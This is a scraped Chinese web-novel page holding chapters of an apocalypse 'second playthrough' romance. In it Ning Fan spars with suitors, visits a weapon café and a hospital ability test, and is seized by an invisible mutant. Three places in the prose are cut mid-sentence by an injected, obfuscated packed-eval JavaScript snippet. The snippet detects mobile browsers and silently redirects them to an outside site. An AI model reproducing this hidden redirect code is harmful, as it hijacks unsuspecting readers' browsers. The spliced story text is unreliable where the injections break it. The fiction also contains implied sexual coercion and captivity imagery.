霍明瑞把文件袋放在桌面上,沉默不语,完全没了昨夜见面时的激动。 他眉骨上分明有一截新鲜的伤痕。 宁繁拿起文件袋,看了里面所有的证件,才抬起头观察了一遍霍明瑞。他对这人的印象不多,记得离开第三城之后,再没了交集。上周目虽然每个人脑子里的想法都奇奇怪怪,可也算是各凭本事。霍明瑞没给他留下印象,应该就是脑子和武力都比不过别人了。 唯独脸是不错的。 上午的阳光透过玻璃窗,斜斜地照过来,霍明瑞穿着一身黑色的大衣,脸半明半暗,同他叔叔一样,脸庞折叠度很高。阳光在他脸上勾勒出鲜明的曲线,眼睛是极淡的灰蓝色。宁繁调侃他的没人要的小狗,实际上他的长相要更接近凶狠的狼崽子。 “你站在这里做什么?”宁繁撑着脸问,“这儿又不是你家,东西已经送到了,难道你是想和我汇报,昨天深夜教训了谁、亦或是被谁教训了?” “那你说吧。” 宁繁还是有点不习惯戴着助听器,他拨弄着,忍不住摘下来。 ——他根本不想听。 霍明瑞的呼吸粗重起来,死死地盯着宁繁手边的助听器。谁都知道他几乎聋了,没助听器听不到半点声音。偏偏称得上一句长相昳丽的少年歪着头,做出一副比泡沫还要虚假的、侧耳倾听的样子,又是那么的漫不经心,似乎根本不在意他人的情绪。 任谁被这样连着嘲弄,都会无比愤怒的。 宁繁只是一低头,就发现霍明瑞有红温迹象。 宁繁:……? 但是仔细观察,发现这个不是一见钟情的红温,是愤怒的。 哦,他把助听器摘下来了。 宁繁又戴回去。 就听见霍明瑞寒声道:“羞辱我很好玩吗?” “怎么会——”宁繁顿时睁大了眼睛,“你没听懂我的意思,真让人伤心。” “只有聋子才会永远地保守秘密,我想要认真听你诉说,才会摘下助听器,这样你可以说任何话语,哪怕是我完全不能听的秘密。你可以毫无保留地说出一切。”宁繁看向对面,垂眸,“你知道的,没有助听器,哪怕你在我对面大喊,我也听不见。” 宁繁安静地坐在餐桌边,戳着面前的早餐,阳光落了一角在红木桌面,又反射到桌面的花瓶,映出一片暖洋洋的光。精致的插花把宁繁的脸也遮住了一些,香气幽幽。 像一个小精灵,一只流落到人间的神明。 “昨晚我也不是故意针对你……我是真的被吓到了。”宁繁戳着早餐,“我讨厌多人的场合。” 他看起来是那么善良,又有些难过:“我想和你道歉的。” “对不起。”霍明瑞又道歉了。 他低了头,看着沮丧的宁繁,本来没想要说什么,现在却踌躇了一会儿:“能听我说话吗?” “当然。”宁繁像是一下子就被哄好了那样,绽出一个笑,“我的荣幸。” 然后他摘下助听器。 嗯,世界安静了。 霍明瑞站在对面,像是单纯地发泄,又像是在虔诚地像神父寻求告解,说着什么。 宁繁只负责笑和点头。 许久,宁繁才把助听器戴回去:“你讲完了吗?” 对面点头,视线落在他的脸上。 于是宁繁很生疏地做了个告解的工作,年轻的神父闭上眼,并不虔诚:“神会原谅你的一切。” 他站起身。 “我想出门逛街。” …… 管家的工作很忙,要管理宅子里所有的人。 作为素养极好的员工,他向来沉默,不说没必要的话,很多可以差遣他人的事,他也会亲力亲为。 当宁繁和霍明瑞离开后,他也离开了宅子。 来到了真正的雇主家。 默默地将一件件的事汇报上去。连昨夜宁繁淋湿了雨,是商清昀送他回家,还有霍明瑞去找宁繁的全部细节,他也说得清清楚楚,只是那些告解粗略地讲了讲。 中年男人端着一杯清茶,静静地听,他脸上没什么特别的神色,只是望着桌面的柠檬味蛋糕出神。他是不爱吃这种腻歪东西的,今天却不知道为什么,蛋糕出现在了茶点里。 许久,管家说完了。 而霍南行问:“他要了食物购买许可证,只想买自己享受的东西?” 管家:“他的侍卫会替他去买那些基础物资。” 霍南行摇了摇头:“还是这样贪吃。” 管家沉默不言。 “继续看着他。”霍南行看着身前关于商清昀的一切报告,皱着眉。 他并不介意自己的侄子去做那些蠢事,却本能地不喜欢商清昀。他和宁繁来自同一个城市,宁繁或许对老乡是有一点天然的好感,表现出了明显的偏心。而且商清昀的能力也确实不错,履历干净又漂亮。 甚至有些干净过头,有些虚假了。 “小朋友就是容易被骗。”他十指交叉,撑着下巴,“不明白谁才是可以信赖的人。” …… 街上好像没什么可以逛的。 宁繁有点失望于街道的荒凉,商场里面的不少店铺也全都倒闭了。他现在好不容易有钱而且有人身自由,却没法享受购物的愉快。 现在最贵的,果然还是武器和粮食。 天灾降临后,百分之六十以上的人类都觉醒了异能,只是绝大部分人的异能都没什么力量, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他似乎想到了什么场面,说得极为具体:“每个新人类以养一只旧人类为时髦,给他们打扮,戴上最好的项圈和锁链……” “不会有那种事发生的。”霍明瑞打断他,难得坚定,掷地有声,“绝对不会。” 宁繁心想那可难说。 在奇妙的上周目,异种最终成了胜者。 其实异种也不算完全的非人,他们和异能者一样,受到了某种神秘存在的感召,并获得极强的异能。但就在他们获得力量的那一瞬间,大脑构造仿佛也彻底改变了,他们并不觉得自己和没觉醒的人类是同一种族,把异能者称为不完全进化的新人类。 异种之间,还会有奇妙的联系,他们能够感知到谁是自己的同伴,因此哪怕是身体变异的异能者,也没法混进去当卧底。 他们比人类更团结,几乎全员拥有异能,战斗力强大。 很快,异种之间就会出现大事件,强大的异种声称自己受到了某种感召,他们之间开始争夺王位,要角逐出异种之王。 现在霍家拥有的第三城,就会在这个过程中灭亡。 宁繁把视线从玻璃后的项圈上挪开。 他似乎注意到了不远处新开的武器铺,往那儿走过去。一边走,一边轻松地笑起来:“说的也是,异种们不会喜欢在人脖子上挂项圈呢,纯种人类才喜欢这个。” 他们都是往人脚脖子上挂镣铐。 霍明瑞沉默了几秒,在他身后问:“你想给谁戴上吗?”他声音放低了,有些局促。 “有啊。” 宁繁回过头,同霍明瑞对视着,看着他那张很有特色的,有点欧洲人血统的脸。除了异变者,霍家人似乎都有淡蓝色的眼珠,眼眶深邃,眉骨又很高,看着深情而忧郁。只是霍明瑞年轻,没有霍南行身上那点岁月沉淀带来的气质。 “你长得和你叔叔还挺像。”他忽然说。 霍明瑞不理解,宁繁为什么要说这个。 只见宁繁睁大了眼睛,惋惜地说:“想过你叔叔戴上。” “……你说什么?” “一城之主,高高在上,万人敬仰。”宁繁重新说了一遍,“其实我觉得戴上会很有反差感。” 霍明瑞睁大了眼:“你——” “这里又没有人听见,”宁繁语气很无辜,眼睛又亮又真诚,“你同我说了你的秘密,我也想说一些不可告人的心思。” 他往前走了一步,弯腰摘下一只橱窗里的项圈,放在指尖转了一圈,最终放在了霍明瑞头顶。 “……” 距离靠近了,霍明瑞的视线下移,看见宁繁的唇瓣一开一合,呼吸仿佛落到他颈侧。 蛊惑的声音,像羽毛挠过耳道。 想掐住他的脖子、堵住他的唇,将那些不想听的话语尽数压回。 “你会愿意听吗?” 5. 二周目(修 霍明瑞:“当然可以。” 于是宁繁忧愁道:“我想离开。可是你的叔叔不放我离开。算了,说这种话太为难你了。” 他忽得停下诉说,武器店到了。 自从天灾到来,平民无法接触的武器也开始对外售卖,大部分人以及异种的异能都不够强大,仍然会被热武器致死。像宁繁这个身份,就学过如何使用简单的枪支——这些属于角色的知识被系统打包,直接塞进了他的记忆。 在上周目,他几乎没有用过武器。 宁繁充满好奇地晃进了店铺,和其他门可罗雀的店铺不同,武器店里有好几个客人。看得出来这儿原来是一家咖啡店,现在也没废弃,一边挂着许多冰冷的武器,一边是岁月静好的北欧式小桌、书架,前台也仍然有售卖咖啡的业务。 武器店和咖啡店还有书店合并了。 想想也正常,在现在这个时代,这种店里恐怕是最安全的,满满当当的火力支持,能让人放松。 店员很隐晦地暗示,如果想在店里逛逛不买,需要买一杯饮品。 宁繁没什么食欲,菜单上除了咖啡就是水,而且价格贵得恐怖。他只好看向霍明瑞。 霍明瑞:“……?” 宁繁一边想着对方不太聪明,一边又觉得还挺好的。上周目的时候他都不敢和别人对视,只要眼神一对上,甭管他心里想的什么,要传达的是什么,对方一定会理解成主动邀约。 正想着买杯柠檬水投喂对方,霍明瑞掏出了卡。 金光闪闪的,超级贵宾卡。 店员的态度一下子180度转弯,恨不得把腰也折断:“两位想喝点什么?随便选,无需付费。” 宁繁没忍住,在心里吐槽:真是贵兵犬啊。 上周目怎么没遇到这种。 虽然他上周目买东西也不怎么需要花钱,都是别人替他付,但代价还是得他到床上付。 宁繁没什么喝东西的意愿,可免费的就不一样了,他还是很愿意拿一杯免费的东西在手上。选来选去,他要了一杯加了开心果奶盖的咖啡。 就听见霍明瑞在一边小心翼翼地开口:“你很喜欢绿色吗?” “挺喜欢的。” 霍明瑞又沉默了,他完全不清楚宁繁什么时候会和他正常的聊天,什么时候会吐出些尖锐的话。他等了一会儿,发现宁繁没有补充发言,话里似乎也没任何的暗示。 宁繁要比他矮一点,他能看见他的发顶,看见他前倾身体,几乎贴着前台。明明点单已经结束了,却还是专注地看着菜单,仿佛上面的食物有什么奇妙的吸引力。 饮料很快被做好,玻璃杯中翻滚着冰块儿,宁繁拿过杯子,第一反应是凑近嗅一嗅,就像是什么小动物。 嗯……闻起来没有加料,很安全。 服务员很贴心地给了一个隔温的纸环,宁繁便端着杯子,开始听服务员讲解店里的其他商品。甚至连老板都出来了。 “在本店购物,还可以免费帮您进行涂装。”服务员穿着咖啡厅的那种西装马甲,很有文艺气质,说出来的话也……挺浪漫,“不论您是想要在上面镌刻诗句、还是增加漂亮的二次元涂装,都可以做。” 宁繁咕嘟咕嘟地喝了一口饮料,视线挪到其中一把黑色的枪上。 “您对它感兴趣吗?重量始终,适配消音器,很适合随身携带。” 它看起来冰冷,坚硬,宁繁想起了其他的事。 他没用过这个款式的枪,这枪却用过他。 他垂眸,心情陡然下落了一截。 将眼神挪到了边上的架子,那里挂着各种稀奇古怪的刀具。宁繁正要挑选一把小刀,门口那极具文艺气息的玻璃风铃突然响了。 他下意识看过去,瞧见了有点陌生的熟人。 商清昀。但是战损版本。 他脸上多了几道新鲜的伤,眉骨有一块儿青紫的淤青,嘴角更是有血痂,今天他没穿自己的那身军装,大概率,衣服是报废了。除了表情还维持着冷淡,其他地方都非常不体面。 宁繁又把视线挪到了霍明瑞身上。他早上没听这家伙的告解,却也猜得出来,他,或者其他那些有怨气的人,肯定是去找商清昀麻烦了——凭什么穷小子可以和S级异能者搭上线呢? 哎呀,因为他挨揍了。 店里不大,商清昀很快就注意到了他的视线。 以及,霍明瑞。 而后,他像是不知道谁打了他一样,大步走进来,在前台询问他前些天订的货到了没有。 宁繁端起杯子,很愉快地喝了一口。 他长得实在太漂亮了,更是从来不收敛自己,只是眉眼弯弯,就好似蒙尘的宝石放出光彩。边上讲解的服务员就停了下来,呆呆地看着他。 “我要买这个。”宁繁指着一把对他来说大小正好的匕首,银光闪闪,“包起来。800可以吗?” 它标价是1400,超级贵宾卡的优惠价格是1000. “可以。”店员下意识应了。 “好诶。” 店员:“……” 等店员给他包好,宁繁才慢悠悠地问一边早就已经拿到货的人:“好巧。” 商清昀:“很巧。” “你看起来被打了。” “是的。来自弱者的一些小巧思。” “弱者?”宁繁看着他,“那你是更弱者?” 弱者抽刀向更弱者。 “不算吗?”商清昀很坦然地回答,“我连异能都没有,以现在的标准来看,没多久我就会被开除人籍,失去人权。” S级异能拥有者,宁繁点了点头:“你说的对。” 同样没有异能的霍明瑞,看着和宁繁有说有笑的商清昀,眼神阴沉。他刚才看得很清楚,在商清昀进门的时候,宁繁分明露出了从来没有过的轻松笑容。 他真的对这个没异能的废物很偏爱。 宁繁又对霍明瑞说:“谢谢你的打折卡,没什么事的话我就回去了。” 还没等霍明瑞说话,商清昀率先说:“等等。” 他的神情难得有些凝滞。 “嗯?” 宁繁的警钟咚得一下响了。 上周目的记忆历历在目,商清昀这个狗东西总是莫名其妙地不喜欢他和别人说话,一看见他和别人就要应激,两头咬,一边对付别人把人搞死,一边回家和他发生口角再口角。 宁繁厌恶一切控制他社交的人。 他的情绪变化很隐晦,只是手中的玻璃杯放在了桌上,磕碰出声响。 商清昀对情绪的感知相当敏锐,进门打第一眼看见宁繁,就知道他心情不算好,现在自己的这一句话又触犯了宁繁的不悦。小少爷到底有多放纵他已经知道了。他毫不怀疑,如果自己说错了话,这杯咖啡就会泼到他的脸上,然后昨夜勉强谈成的合作也会消失。 他迅速地看了眼霍明瑞,深吸一口气,最终还是决定说了:“请小心霍南行。” 宁繁:“……噢。”看不出来气消了没有。 商清昀静静地看着桌面,终究是没有把全部的真话说出来。 太荒诞了。 昨夜在电话亭里的对话结束后,他把宁繁送回家,还没等他回自己的住处,雨中忽得有车直直冲他撞来。若非他反应快,恐怕要直接出事。 他也不是什么软柿子,漠然地下车,见另一辆车的人也已经下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16138146|180344||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来了。 “知道我们为什么找上你吧?” 商清昀并不理会他们,只是接住他们的一拳。他的体术很好,锻炼地远比任何一个异能者勤奋,普通的异能者甚至无法打败他。 只是对面人手实在太多,他渐渐落了下风。 城内有严格的规定,禁止对同类使用异能,C级以下的力量强化异能倒是无所谓,总归不会超过人类的范畴。围殴他的几人也都非常清楚,没动用不应该的力量。 末了,还有人啐了他一口:“没异能的废物,真以为自己锻炼锻炼就能比上我们了?” 他们倒也不至于把他弄死。 商清昀抹了抹嘴角的血,自己站起来,跌跌撞撞地回家。 谁知道一阖眼,从不做梦的他,竟是一连出现了好几个梦。 梦里也有宁繁。 不像他认识的那个。梦里的宁繁攻击性不高,性格要更柔软,那令人神魂颠倒的美貌就像是一张渔网,软软的让人陷下去。对他说一见钟情是完全不可信的,看着他的脸,没人会不动心。 他也不例外。甚至,宁繁对他的态度也很好,只因他们来自同一座城市。 都是没有长出翅膀的囚鸟。 因为过分强大的异能,和并不匹配的力量,宁繁被强行留在第三城。而他正好在这里工作,便时不时能见上一面。 一开始,他不知道宁繁住哪,后来从城主府里出来,碰见花园里捻着凋零月季的宁繁,他才知道他居然一直被困在城主府里。 他的美貌一如既往,穿着一身简单的白色短袖,颈侧有着明显的、如腐烂花瓣般丑陋的吸吮痕迹,扎眼到令人痛心。宁繁似乎是没有看见路过花园的他,自顾自地把玩着手中的植物,身形轻得像是随时能被人抱起来。 商清昀看见他脖颈上的黑色项圈,以及手腕上还未完全褪去的、绳索痕迹。 再见面,宁繁仍然是很轻松的语气,让商清昀忙活他的工作,博一个更好的职位。 他甚至要主动给他一个不死buff。 商清昀看到他的次数越来越少了,他只能从白日紧闭的厚重窗帘、沾血的废弃锁链、不知为何停在街边的豪车里面捕捉些微的线索。 终于,有一次宁繁和他见面,走路不太顺畅,一瘸一拐。 商清昀抓住他,强行掀开了裤脚的布料。 那是无法打开的厚重脚铐。 宁繁笑着安慰他:“我的异能太重要了,他们怕我逃跑。” 不是的。商清昀知道不是这样的。 “我可以带你离开。”他听到自己的声音里翻滚着说不清的情绪,“我会带你离开。” 宁繁像小猫一样轻轻地抱了他一下,没有说任何话。 梦结束了。 逼真到他无法忽视,那些温度,那些呼吸,在他怀里的颤抖和温度。他留在第三城工作的半年,宁繁被囚禁的半年。商清昀很清醒,知道这些并没有发生。 看着面前的宁繁,他知道,如果他的梦是真实,那么自己绝对不应该多说才对。 可他看着对方不耐烦的神色,还是思忖着说出了口:“我可能,觉醒了异能。” 宁繁:“……嗯?” “详细说说。”这下支棱起来了。宁繁很疑惑,商清昀怎么会在这时候觉醒异能? 商清昀实在无法说出梦境的细节,而且若真是预知类异能,他绝对不能告诉外人。 他长了一双标准的凤眼,纯黑的眼瞳,却又特别干净,剑眉星目,认真看着他人的时候,总是很有可信度。眼眸垂下又有些柔软的真诚,是一张绝对不会让人联想到邪恶的脸。他瞥了眼边上的霍明瑞:“不能告诉他。” 6. 二周目(修 “我是你的上司。”霍明瑞眼神阴沉,“我有权知道你的异能。” 霍明瑞阴沉起来的时候,无论如何都不能说是贵宾犬了,宁繁很遗憾地表示小狗观察日记暂且停更,改为大乌云对战小茶杯。 “上司的上司的上司。”商清昀冷淡地回答,“我只需要听直属上司的命令。而且,并没有人问您。” 宁繁这时候才发现霍明瑞的犬齿很尖锐,生气的时候会压在下唇。至于商清昀的话他不意外,商清昀的脸很好,而且是他上周目见过的人里面最擅长表情管理的,怎么说也能排个第二。 毕竟人太穷了,美貌必须上称做筹码,而后斤斤计较。 一切都是可以利用的。 所以表情管理他能给商清昀九分,霍明瑞倒扣三分。 他自己十二分,他可是能在尖叫的时候还维持住脸,完事儿还能想起台词,声情并茂地念词。表情管理和语言这块纯正的满分。 宁繁大脑里划过去一些古怪的东西,在两人要发生冲突的时候,及时开口:“我陪你去医院吧。”比起口头上说说,他还是更相信数据。 现在的医院有无比全面的异能检测设备,但凡觉醒了异能,哪怕是米粒般强度的E级,也一定不会误诊。 宁繁又对霍明瑞说:“你不忙吗?” 按霍明瑞的职位和地位,其实应该有很多工作才对。宁繁不了解他,但是了解霍南行,老东西很喜欢把各种杂七杂八的事情交给下属,自己则着重享受。 霍明瑞猛地摇头:“不忙。” “不忙,那挺好的。”宁繁把手中打包好的匕首塞给他,“帮我带回家,谢谢啦。” “……” 他本能地想要拒绝,可宁繁凑得太近了,尾音轻飘飘地在他耳边勾了一下。盒子上甚至还有他的温度。因为握着冰咖啡,宁繁的手指上沾了冷凝水,也沾到了匕首的打包盒上,湿漉漉的,冰凉凉的,在深色的盒子上晕开两道明显的指痕。 霍明瑞按着盒子上的痕迹,像是觉得烫手一样,可手指最终也没挪开,只是将水渍晕得更广。 宁繁和商清昀离开了。 就像昨夜一样。 他说不上来对宁繁是什么感觉,一见钟情这个词,对他们来说太虚假了。他应该只是贪图宁繁的异能而已。 宁繁一走,店里的气氛至少往下沉了一截,没人敢上来搭话。想了想,霍明瑞打通了一个电话。 …… 宁繁把身上摸了一遍,确定没有被安装窃听器:“你现在可以说了。” “你觉醒了什么异能?” “也许是预知类。” 宁繁的眉头重重一挑。他是清楚商清昀异能的,和预知类没半点关系。作为少数的S级异能拥有者,商清昀的异能可以非常符合他完全利己的性格。在某种程度上,他可以操控命运。 假设一件事有好几种发生的可能性,他可以控制每一条支线的概率,将最有利于自己发展的支线变作事实。 到后期,他甚至可以操纵一个人脑血栓死亡。 而他将这个异能瞒了很久,对外只说是预知类,只能看见模糊的未来,很长时间都被评为A级。直到一路传奇般的晋升,才假惺惺地告诉所有人,他的异能好像进化成S级了。 现在说出这种话…… 商清昀真觉醒异能了? 宁繁的脑子飞速思考起来,在上周目,商清昀至少半年后才会拥有异能。他以为对方的异能需要极大的生死危机才会触发。 “系统,这种关键事件也会改变吗?” 【我不知道。】系统说出没什么用的话,【您游玩的上个版本是完全错乱的版本,或许本来就不正常。】 【这个商清昀很努力,一心只想要上青云。】 他把所有搞东搞西的东西放在事业上了,小头下线了,大头上线了,所以异能觉醒早了。宁繁听出系统的话外之音。 “预知类?”宁繁做出惊讶的表情,“至少也是A级,是看得很清楚,还是只能模糊感知,预知到的时间又怎么样?” “不太清楚预知时间。”商清昀很含糊地说着,“是模糊的感知。” 不,绝对不模糊。 他看得太清楚了。 梦里的他是那么专注地看着宁繁,简直把每一寸肌肤都给看清楚了,连布料下的形状也揣摩的一清二楚。他喜欢看他的眼睛,看玻璃似的绿眸湿润一片,纤长的睫毛覆盖住眼瞳,让人想起远山冬日的薄雾。 那花园里的惊鸿一瞥,指尖拈动枯枝的动作。 他的手,他的唇,商清昀仿佛能和梦里一切东西通感一样,疯魔了般寻觅他的痕迹。拽住窗帘时猛然收紧的手指,被人隔着薄薄布料握住腰时的瑟缩,还有车窗上呵出的水雾。 他全都看得一清二楚。 “去医院查一下吧。”宁繁不容置喙地说。 他们陡然陷入了沉默。 宁繁在回忆,商清昀也在回忆。 到医院,挂号异能科,排队查异能,一气呵成。 没觉醒的人还是很多,有不少人每天战战兢兢地幻想自己觉醒了,而后来检查。带着孩子、配偶来的格外多。若是查不出来还好,要是真查出来一个低级异能,还得在医院门口大叫怎会如此重新核对一遍可以吗? 现在医院的异能科成了最火热的地方。 如果忍不住在门口火热大叫的话,马上就会被火热的霰.弹枪打成火热一块儿挂在门口。流淌在门口的冰冷鲜血会温暖每一个医院的病患。 没打死的话,可以去隔壁外科付三倍钱做手术。 在陪商清昀等报告的时候,宁繁支着下巴看了三起热闹,津津有味。 他觉得医院应该出一个付费观看热闹的项目,素材多了还可以剪出合集,保准变成爆款娱乐节目,治愈一下末日里大家沉重的心。 报告单出来了。 商清昀取了号,自己去一边付费打印,宁繁则倏地站起来,特别好奇地往他屏幕上瞅。 结果很明显。 没有——没有任何异能反应。 宁繁:“……” 商清昀:“……” “你玩我呢!”宁繁是真的有点生气,早就知道商清昀是个骗子了,没想到这周目的正经商清昀,连异能觉醒这种低级骗术都用得出来,“你个骗子!” 他们长得都很好看,宁繁也没收敛声音。 一时间,他们成了医院半小时内的第四个乐子。毕竟现在离婚率排名第一的理由是“我觉醒了异能但我老公/老婆没有”。 宁繁狠狠地瞪了一眼商清昀,要不是不想被打成火热一片,他肯定是要骂上一顿了。商清昀都快吓死他了,要是在这个时候觉醒异能,岂不是会打乱他所有的计划。 商清昀倒也沉默着,攥着手中的报告,什么也没说。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16138147|180344||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 仪器从来不会出错,没有就是没有。 那么他的梦是什么…… 单纯的幻想吗? 他竟生出了这样的幻想。 …… 出了医院,宁繁把商清昀骂了一顿,直接一个人走了。 然而他出门拒绝了宁周的跟随,也没有带其他人,现在也没什么出租车行业。他好像只能走回家了。 其实也没什么问题。 宁繁只是因为各种debuff缠身,经常没法运动,体质容易突然变得很差。但他的体力和柔韧性可谓是莫名其妙的好,有氧运动几个小时也不是问题。 他很瘦,却不是完全的纤细身材,还是有一点薄肌在身上的。 走了一会儿,他忽然对系统说:“商清昀不像是会说这种低级谎言的人,是不是有什么事情发生,让他误以为自己觉醒了预知异能?” 宁繁深深皱着眉。 “还是说昨天他被人打了一顿,打出幻觉了。” “奇怪。” 【但他真的没有觉醒异能,我能看见数值面板。】 “给我看看。” 系统列出了一个和他面板差不多的东西,上面没有任何异能buff:【我能看到的数据就是这样,我们游戏主打一个自由和代入感强,没有做具体的数值量化。游戏实装后,连NPC是否有异能都不会展示,需要自己探索。】 “这方面我要打零分——”宁繁拖长了音调,“强度党不喜。” 【这是测试服嘛……】系统支支吾吾地解释,【我们会抽取合适的灵魂来体验游戏。如果游戏不存在通关的可能性、通关过程太无趣,就会被废掉。】 “那我觉得上个游戏版本还行,至少跌宕起伏这一块儿,人员密度这一块儿,生死边缘窒息紧缚这一块儿。” 系统发出尖锐爆鸣:【要过审的!!!】 宁繁知晓了系统的意图,也懒得逗他了,只是商清昀这事儿他仍然想不通。其实他也很明显能感觉到,这个世界里所有的NPC都不一样了,每个人都会想着正常的事。 虽然也不是完全排除欲念。毕竟爱和欲本来就是人组成的一部分。他自己也有。 宁繁给宁周打了个电话,让他开车过来。 他看着地面,感觉现在就爱四轮车爱得要死。 其实他有段时间真不爱坐车,密闭空间,座椅放下也不舒服,而且玻璃窗开着不行,不开又闷着,空调压根无济于事。在里面做,外面随时有人路过,会很烦。 说到风,最近第三城好像频繁下雨,上午还算晴朗,一到下午就开始起风,晚上保准得落几滴雨水。 宁繁看着眼前飘过去的几片落叶,视线追着它们移动。 然后看着落叶在空中顿住,硬生生挨了个弯儿,继续飘荡,像是空气中有个看不见的玩意。 宁繁:“……” 四下无人。 看不见的东西猛地攥住他的手臂,没有温度,像一团不透风的液体。触觉敏感度上升的宁繁立刻就被激得有点疼,只觉得有什么东西隔着布料,把他的手臂捆起来,反折在后腰。 带着一点毛糙质感的东西从胸口爬过,摩挲他颈侧的肌肤,一阵刺痒过后,完全勒住了他的脖子,前段抵住了他的唇。 异种,百分之百的异种,人类哪怕是觉醒了隐身异能,也不会有这样的肢体,这样的温度。 “别出声。” 7. 二周目(修 异种就是容易这样,大部分都已经不像个人样,只有嘴上还在叫喊我是新人类。 宁繁见过很多异种,对什么稀奇古怪的形状都能接受。而且他有时候也觉得和异种相处没什么不好的,虽然身体上会累点,但脑子轻松,台词也比较普通,不要求他念奇怪的剧本。 他顺从对方,没有挣扎叫喊。 半被强迫地走到了没有监控的小巷。 “我司机马上会来接我。”宁繁垂着眼眸,声音微颤,百分百的纨绔少爷含量,“你把我杀了,自己也会暴露。” “闭嘴!”耳边的声音恶狠狠地说,“难道你很重要吗?” “嗯,对的。” “……” 宁繁被脖子上的东西一勒,顿了一下:“我以为你知道这点才跟着我,难道你不知道吗?” “我当然知道!” 宁繁心想他不知道。不管是这周目还是上周目,宁繁的身份一直被保密得很好,有关他脸和身材的信息几乎没在网上流传过,更别提失去人类网络、回归原始社会的异种了。 这次晚宴,是好多人第一次见他。 所以这东西是为什么跟着他呢?因为霍明瑞?想偷偷杀掉城主的异种肯定很多。 “你怎么不说话了!”异种发现被他抓住的人竟然在笑,浅浅地笑。 “疼……”宁繁蹙着眉,挤着一点气说话,“呼吸不过来了……” 他的异能没有对身体的加强,从外表来看几乎无法发现他是异能者,就算用机器检测,也只会看见一般的波动——可能也就C到D级。 谁让他是纯粹的机制怪呢。 宁繁看起来疼得要昏过去了,白皙的脖颈上无端出现了一圈红色的痕迹,他的呼吸短促用力,胸膛起伏,就像一只被蛛网笼住的蝴蝶在拼命挣扎。 异种不自觉地松了一些……好像是有点用力了。 很明显,这个人类比寻常的人类还要脆弱。 察觉到对方松了劲,宁繁放轻了表演力度。他对疼痛的耐受能力很强,装疼的能力也很强。 他往后一靠,后背挨在小巷子冰冷的墙壁上。干涸而夸张的涂鸦放肆地在墙上飞舞,一团又一团。而宁繁得了喘息的时间,偏着头,轻轻地吸气。 宁繁这人是很神奇的,至少他说话的时候,很难去打断他。甚至看他喘息、呼吸……也会就这样看入迷,不想发出声音打破这一刻。 如果是上周目,大概就会变成“叫啊你叫出声也不会有人来救你的”,但这周目,对面的隐形怪物冷冷地命令:“叫出声就杀了你!” 宁繁冲空气笑了一下。 哎呀,想着杀人的怪物,正常到美好。这个世界每时每刻都会给他一点小惊喜,没有对比就没有幸福。 虽然也不排除存在一些冰什么的恋什么的,不过这不重要。 他完全看不到怪物的模样,说明这家伙的异能是一种至少B级强度的隐身类,在视觉上做到百分百的欺瞒。大概率是A级。 怪物贴到他身上的肢体是毛茸茸的触感,但不是猫狗那般柔软的毛发,而是细密的硬毛,十分扎人。长条形的,一圈又一圈,不是副肢,就是尾巴。 力量很大,仍然圈着他的腰。 似乎是等得不耐烦,又或是觉得这个时间应该被拿来做点其他的事,他用力地拖着宁繁往前扯了一点。宁繁没站稳,腰往下滑了一截,两腿被看不见的东西往两边挤开。 裤子的布料上出现鲜明的压痕,在大腿上蜿蜒。 上下左右,迅速地搜身,然后把一个东西扯下来,悬浮放到他面前。 怪物的语气仍然冷冷的:“你的武器呢?” 宁繁沉默两秒:“不好意思,我习惯了,腿环基本是个装饰,不挂武器。” 怪物也沉默了。 “没用的东西。” 其实有点用的,勒紧的话,脱裤子将变得十分艰难。宁繁的裤腿皮带都扎得很紧,恨不得挂几个锁——他其实知道布料是可以被撕开的。 “你是不是认识城主的人?”异种又问。 “是的。” “带我去城主府。” “没问题……但是我得先应付我的司机,他快来了。” 答应得太快了,异种并不信。 宁繁说话的时候看着空气——也确实没什么东西能看了。他微微地垂眸,绿眸里泛出一点因疼痛引发的氤氲水汽,立刻就让他的眼睛变得深润起来,看着空气都无比真诚。他的眉心是皱起的,唇角却翘着一抹若有若无的轻佻的嘲讽。 让人下意识想要听他倾诉。 “我会帮你。”他轻轻地,冷冷地说着,“我和那边,有一点……微不足道的私仇。” …… 宁周找到宁繁的时候,他正坐在路边,一脸郁闷。 “您为什么跑到这儿来了?”宁周伸手,将宁繁从肮脏的地面上提溜起来,“这里没有监控,流民太多,很危险。” 宁繁抬起头。 宁周:“!!!” 哪怕衣领扯上去了,也仍然能看见他脖子上那圈鲜明的红痕。衣服也乱了,重新穿过,他早上帮宁繁整理过这身衣服,对于那些繁复小玩意应该在哪可太熟悉了。 不知道是不是他的错觉,小少爷的眼尾也有点红。 宁周:“。” “是谁,我去杀了他。” “啊?”宁繁很惊讶地指责他,“你怎么能干这种私下动刑的事!” 宁周:“……” “而且不是一个人。”趁宁周大脑停止思考的时候,宁繁开始说瞎话了,“我遇到一群流民,嫉妒我穿得好,上来打劫了,结果没搜到什么钱。”他出门是从不带钱的。 被勒索了吗?脖子上的痕迹倒也说得过去。 “他们人呢?”宁周平静问。 “不小心摔死了。” “?” 